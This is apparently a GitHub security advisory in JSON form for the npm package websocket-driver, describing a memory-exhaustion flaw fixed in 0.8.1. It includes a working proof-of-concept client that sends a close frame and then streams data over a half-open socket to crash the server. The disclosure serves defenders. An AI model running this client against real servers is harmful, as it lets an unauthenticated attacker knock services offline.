{"id":"GHSA-v674-7268-hvqh","summary":"websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed","details":"### Summary\n\nA WebSocket server implemented using `websocket-driver` can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.\n\n### Details\n\nWhen used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the `driver` object provided by this library. On receipt of a WebSocket close frame, the driver emits a `close` event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the `close` event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.\n\nThis has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.\n\n### Proof of concept\n\nGiven a server accepting WebSocket connections using `websocket-driver`:\n\n```js\nconst net = require(\"net\")\nconst websocket = require(\"websocket-driver\")\n\nconst server = net.createServer((connection) =\u003e {\n  let driver = websocket.server({ maxLength: 1024 })\n\n  driver.on(\"connect\", () =\u003e {\n    if (websocket.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on(\"close\", () =\u003e connection.end())\n  connection.pipe(driver.io).pipe(connection)\n})\n\nserver.listen(5083, \"127.0.0.1\")\n```\n\nA client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection.\n\n```js\nconst net = require(\"net\")\n\nlet socket = net.connect({ port: 5083, host: \"127.0.0.1\", allowHalfOpen: true })\n\nsocket.write(\n  \"GET / HTTP/1.1\\r\\n\" +\n  \"Host: 127.0.0.1\\r\\n\" +\n  \"Connection: Upgrade\\r\\n\" +\n  \"Upgrade: websocket\\r\\n\" +\n  `Sec-WebSocket-Key: ${btoa(\"the sample nonce\")}\\r\\n` +\n  \"Sec-WebSocket-Version: 13\\r\\n\" +\n  \"\\r\\n\"\n)\n\nsocket.once(\"data\", () =\u003e {\n  // masked Close frame, empty payload\n  socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00]))\n  \n  // send arbitrary data\n  let chunk = Buffer.alloc(2 ** 20)\n  setInterval(() =\u003e socket.write(chunk), 100)\n})\n```\n\nIf this client is left running, the server's memory use will continue to grow indefinitely.\n\n### Impact\n\nA server using `websocket-driver` can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.","aliases":["CVE-2026-140002"],"modified":"2026-12-01T19:15:03.098165286Z","published":"2026-12-01T19:10:56Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-12-01T19:10:56Z","nvd_published_at":"2026-11-30T22:17:29Z","cwe_ids":["CWE-770"]},"references":[{"type":"WEB","url":"https://github.com/faye/websocket-driver-node/security/advisories/GHSA-v674-7268-hvqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140002"},{"type":"WEB","url":"https://github.com/faye/websocket-driver-node/commit/189e7b7e75d49e61f2589da995de6e7323db6284"},{"type":"PACKAGE","url":"https://github.com/faye/websocket-driver-node"}],"affected":[{"package":{"name":"websocket-driver","ecosystem":"npm","purl":"pkg:npm/websocket-driver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-v674-7268-hvqh/GHSA-v674-7268-hvqh.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}